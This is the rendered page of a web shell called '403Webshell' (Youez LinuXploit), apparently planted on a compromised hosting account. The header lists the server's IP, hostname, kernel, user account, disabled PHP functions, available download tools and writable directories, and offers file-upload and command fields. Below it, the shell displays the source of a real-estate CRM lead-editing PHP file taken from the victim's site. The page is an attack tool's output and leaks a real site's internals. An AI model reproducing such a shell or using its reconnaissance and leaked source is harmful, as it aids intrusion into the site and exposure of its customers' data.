403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/crm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/crm/super-edit-leads.php
<?php
session_start();
if (!isset($_SESSION['admin'])) {
  header('Location: login.html');
  exit();
}
require 'config.php';
require 'super-guard.php';
include 'auth-guard.php';
$id = intval($_GET['id']);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $callerName = htmlspecialchars(trim($_POST['callerName']));
  $callerEmail = htmlspecialchars(trim($_POST['callerEmail']));
  $callerPhone = htmlspecialchars(trim($_POST['callerPhone']));
  $callerLocation = htmlspecialchars(trim($_POST['callerLocation']));
  $callPurpose = htmlspecialchars(trim($_POST['callPurpose']));
  $callerResponse = htmlspecialchars(trim($_POST['callerResponse']));
  $source = htmlspecialchars(trim($_POST['source']));
  $additionalInfo = htmlspecialchars(trim($_POST['additionalInfo']));
  $followUpDate = $_POST['followUpDate'];
  $assignedStaff = htmlspecialchars(trim($_POST['assignedStaff']));
  $leadStatus = htmlspecialchars(trim($_POST['leadStatus']));

  $stmt = $conn->prepare("UPDATE crm_entries SET caller_name=?, caller_email=?, caller_phone=?, caller_location=?, call_purpose=?, caller_response=?, source=?, additional_info=?, follow_up_date=?, assigned_staff=?, lead_status=? WHERE id=?");
  $stmt->bind_param("sssssssssssi", $callerName, $callerEmail, $callerPhone, $callerLocation, $callPurpose, $callerResponse, $source, $additionalInfo, $followUpDate, $assignedStaff, $leadStatus, $id);
  $stmt->execute();

  header('Location: superLeads.php');
  exit();
}

$stmt = $conn->prepare("SELECT * FROM crm_entries WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
$entry = $result->fetch_assoc();
if (!$entry) {
  echo "Entry not found.";
  exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Edit CRM Entry</title>
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
</head>
<body class="bg-gray-100 p-6">
  <div class="max-w-3xl mx-auto bg-white shadow-md p-8 rounded-lg">
    <h1 class="text-2xl font-bold text-blue-800 mb-6">Edit CRM Entry</h1>
    <form method="POST" class="grid grid-cols-1 sm:grid-cols-2 gap-4 sm:gap-6">
      <input type="hidden" name="id" value="<?= $entry['id'] ?>">
    
      <div>
        <label class="block text-sm font-medium mb-1">Name</label>
        <input type="text" name="callerName" value="<?= htmlspecialchars($entry['caller_name']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Email</label>
        <input type="email" name="callerEmail" value="<?= htmlspecialchars($entry['caller_email']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Phone</label>
        <input type="text" name="callerPhone" value="<?= htmlspecialchars($entry['caller_phone']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Location</label>
        <input type="text" name="callerLocation" value="<?= htmlspecialchars($entry['caller_location']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Purpose</label>
        <input type="text" name="callPurpose" value="<?= htmlspecialchars($entry['call_purpose']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Response</label>
        <textarea name="callerResponse" class="w-full p-2 border rounded h-24"><?= htmlspecialchars($entry['caller_response']) ?></textarea>
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Source</label>
        <input type="text" name="source" value="<?= htmlspecialchars($entry['source']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Additional Info</label>
        <textarea name="additionalInfo" class="w-full p-2 border rounded h-24"><?= htmlspecialchars($entry['additional_info']) ?></textarea>
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Follow-Up Date</label>
        <input type="date" name="followUpDate" value="<?= $entry['follow_up_date'] ?>" class="w-full p-2 border rounded">
      </div>
    
      <div>
        <label class="block text-sm font-medium mb-1">Assigned Staff</label>
        <input type="text" name="assignedStaff" value="<?= htmlspecialchars($entry['assigned_staff']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div class="sm:col-span-2">
        <label class="block text-sm font-medium mb-1">Lead Status</label>
        <input type="text" name="leadStatus" value="<?= htmlspecialchars($entry['lead_status']) ?>" class="w-full p-2 border rounded">
      </div>
    
      <div class="sm:col-span-2 text-center mt-4">
        <button type="submit" class="bg-blue-700 text-white px-6 py-2 rounded hover:bg-blue-800 transition-all duration-300 w-full sm:w-auto">Update Entry</button>
      </div>
    </form>
  </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit